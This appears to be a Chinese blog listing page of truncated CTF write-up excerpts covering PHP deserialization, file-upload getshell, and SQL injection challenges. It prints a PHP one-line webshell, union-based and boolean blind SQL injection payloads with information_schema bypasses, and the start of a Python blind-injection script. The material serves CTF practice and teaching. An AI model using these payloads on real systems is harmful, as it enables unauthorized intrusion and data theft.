安洵杯 2019 easy_serialize_php
[安洵杯 2019]easy_serialize_php
知识点 代码审计 PHP序列化 反序列化字符串逃逸
审题123456789101112131415161718192021222324252627282930313233343536373839<?php$function = @$_GET['f'];function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);}if($_SESSION){ unset($_SESSION);}$_SESSION[ ...
MRCTF2020 Ezpop
[MRCTF2020]Ezpop
#知识点PHP反序列化代码审计POP链
审题1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556Welcome to index.php<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ ...
RoarCTF 2019 Simple Upload
[RoarCTF 2019]Simple Upload
知识点thinkphp路由默认上传路径thinkphp upload类错误使用导致getshell
审题贴上源码
12345678910111213141516171819202122232425262728293031323334<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller{ public function index() { show_source(__FILE__); } public function upload() { $uploadFile = $_FILES['file'] ; if (strstr(strtolower($uploadFile['name']), ".php") ) ...
BUU-UPLOAD-COURSE-1
BUU UPLOAD COURSE 1
知识点一句话
审题就不审了 就是个上传
解题一句话木马肯定很多人都知道 但是肯定有一部分人还停留在只会把马传上去然后菜刀连接的阶段(暗示自己 回到题目 题目没有设置上传后缀的限制 但是上传之后任意后缀形式都会被改成.jpg格式 也就是说 如果只是单纯的上传了马 那么被以jpg格式储存之后 直接用菜刀是连不上的
我们随便上传一个php文件
1<?php echo 'Hello World!'; ?>
虽然是以jpg格式储存 但是当我们包含这个文件的时候 返回了Hello world 说明后台将这个jpg当作php了
下面稍微讲一下这个一句话
1<?php @eval(system($_POST["x"]));?>
当这条语句被服务端执行了,我们同时利用 POST 请求上传变量 x 的值,例如 x=echo ‘Hello’php 解析器执行的实质上是 @eval(“echo ‘Hello’”),即在前端输出一个字符串更常见的利用手法是利用 @eval(system($_POST[“ ...
CPPUISA file-upl0ad
[CPPUISA] file-upl0ad
知识点file_put_content函数对正则的绕过图片马的执行
审题这是一道CPPUISA上架设的题目 出题人为0akarma进入题目 映入眼帘的是一个邮箱的输入框 随便输入一些字符可以看到回显
左下角:Your f* put content is 123 f* put content 猜到大概后台的语句是file_put_content函数 而这个函数有一个有意思的地方 如果我们传入的是一个数组的话 可以绕过后台的正则筛选 也就是能绕过一些waf 这个知识点很像BUU里面的[RoarCTF 2019]Simple Upload题 在这里就不再赘述了
图片马我们虽然不能控制我们在输入框里面的语句 但是看到了地址栏里的?text=123 在这里我们可以人为的控制 把输入的text变成一个数组 这样跳出了一个上传按钮
提示我们只能上传jpeg格式的图片 我们的目的肯定是要上马连接的 这里涉及到图片马 图片马可以理解为把原来一句话马的php格式改为Jpeg 但是服务器的不会将Jpeg格式的文件自动解析为php 这样他就算传上去了也只是一 ...
SWPU2019 Web1
[SWPU2019] Web1
知识点二次注入无列名注入bypass information_schema
审题
上来就是一个登录框 上来就是一顿注 一顿扫 就嗯干 后来才发现可以注册 总之白忙活了很久 一般这种可以让你注册或者你可以找到注册界面的 登录框都不是注入点 登录之后发现 有一个可以投递广告的地方 基本上这个地方就是注入点了 测试了一下发现广告名那一栏存在注入点
刚做到这里的时候 发现这不是和sql-lab的sql语句一样嘛 心里暗暗一喜 就这啊
上手没笑多久发现 所有的注释符都给过滤了 这是我没想到的 稍微测试了一下 发现我会用的几个报错注入都被过滤了 还有information_schema也给过滤了(也就是or 没事 information_schema我会绕 绕过去多大点事 结果光是闭合那个引号就给我闭了半天 确实是第一次这样闭合 这边先贴出payload 其中空格被过滤了 读者自行加上内敛注释(别问我为什么不加上
11' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,2 ...
NCTF2019 SQLi
[NCTF2019]SQLi
知识点基于regexp的盲注
审题
很简洁 又是个sql注入题 而且题目把sql语句已经放在了题目下面 甚至和注入类型都告诉你是字符型了 我已经能想到这道题的waf会有多丧心病狂 fuzz一下
解题思路嚯 这过滤 基本的手工 盲注全部都不行 继续审题 尝试着挣扎了一会没啥进展 瞟了一眼别人的wp 竟然把hint藏在robots.txt里面
题目很明确的告诉了我们过滤的字段以及我们的目标 只要找到登录密码就能拿到flag 并且账号是admin这题用到的是regexp进行的盲注(因为只有他没被过滤 这边贴上regexp的用法 SQL_REGEXP 很明显 regexp是sql里的正则匹配表达式 其实思路和bool盲注一样 一位一位的爆破 只不过bool盲注是以位为单位 而regexp是以字符串为单位 具体可以参考刚刚的链接和[GYCTF2020]Ezsqli我写的这篇随笔(骗骗访问量 两道题解题思路其实是一样的 只不过函数不一样
穷途末路虽然知道要爆破的用户名是admin 但是填admin的话会被弹出hacker! 并且username过滤的太死了 ...
GYCTF2020 Ezsqli
[GYCTF2020]Ezsqli
知识点基于布尔型盲注无字段名注入
审题
👴😀🌶 出题人整的一手好🔥简洁的sql注入题 老样子 令人绝望的过滤 在我发现if被过滤的时候 本来以为bool盲注走不了 但是后来想起来bool盲注可以不要if 这里贴上爆数据库的payload
11^(ascii(substr((select(database())),1,1))=103)^1
编写脚本爆出数据库 这个脚本很常规就不贴了 这个脚本都不会写的人也做不到这题然后是爆表 发现information.schema被过滤了(实际上是or被过滤的死死的 这个靠积累可以绕过 有两种方法 挑一个就行
121&&ascii(substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),1,1))=1032||ascii(substr((select group_concat(table_name) from sys.schema_ ...
GXYCTF2019 BabySQli
[GXYCTF2019]BabySQli
知识点联合注入
审题
简简单单的登录界面 明显的sql注入 令人绝望的过滤 感觉啥都过滤了 刚开始做题没想着联合注入 想着用updatexml这种然后就是注到字段数之后就停下来了 因为题目过滤了database() 而且过滤的死死的
解题
拓展一个知识点 平常我们联合查询的时候 如果匹配不到数据 那么sql会自动生成一条你查询的数据 如图那就好办了 既然联合注入可以用 那我们可以构造一条用户名为admin的语句 然后就可以控制他的密码了
PAYLOAD11'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#
这里e10adc3949ba59abbe56e057f20f883e是123456的md5值 关于这个密码为什么是md5 很多网站都会加密处理密码 防止恶意代码 md5只是尝试
EOF
CISCN2019 华北赛区 Day2 Web1 Hack World
[CISCN2019 华北赛区 Day2 Web1]Hack World
知识点基于布尔型盲注编写python脚本能力
审题
很简洁的一个post提交sql注入题 测试了一下 过滤了一大堆 尝试了基于时间的布尔盲注 被过滤 然后尝试了一下基于布尔型的盲注 成功然后就是很简单的编写脚本 算是个简单题
这个就是成功回显页面 可以看到和输入id=1回显一样 下面贴出脚本
EXP1234567891011121314151617181920212223242526import requestsurl = 'http://3c029064-6b6f-4efb-b2e0-ebb2495ed95a.node3.buuoj.cn/index.php'result = ''num = 0for i in range (1,60): if (num == 1): break; for j in range (32,128): payload = 'if(ascii(substr((select(flag)f ...